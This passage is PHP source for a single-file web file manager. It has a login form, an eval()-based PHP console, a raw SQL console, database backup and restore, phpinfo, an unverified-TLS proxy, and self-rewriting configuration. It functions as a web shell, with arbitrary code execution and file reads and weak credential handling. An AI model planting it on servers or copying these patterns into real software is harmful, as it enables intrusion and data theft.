function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezU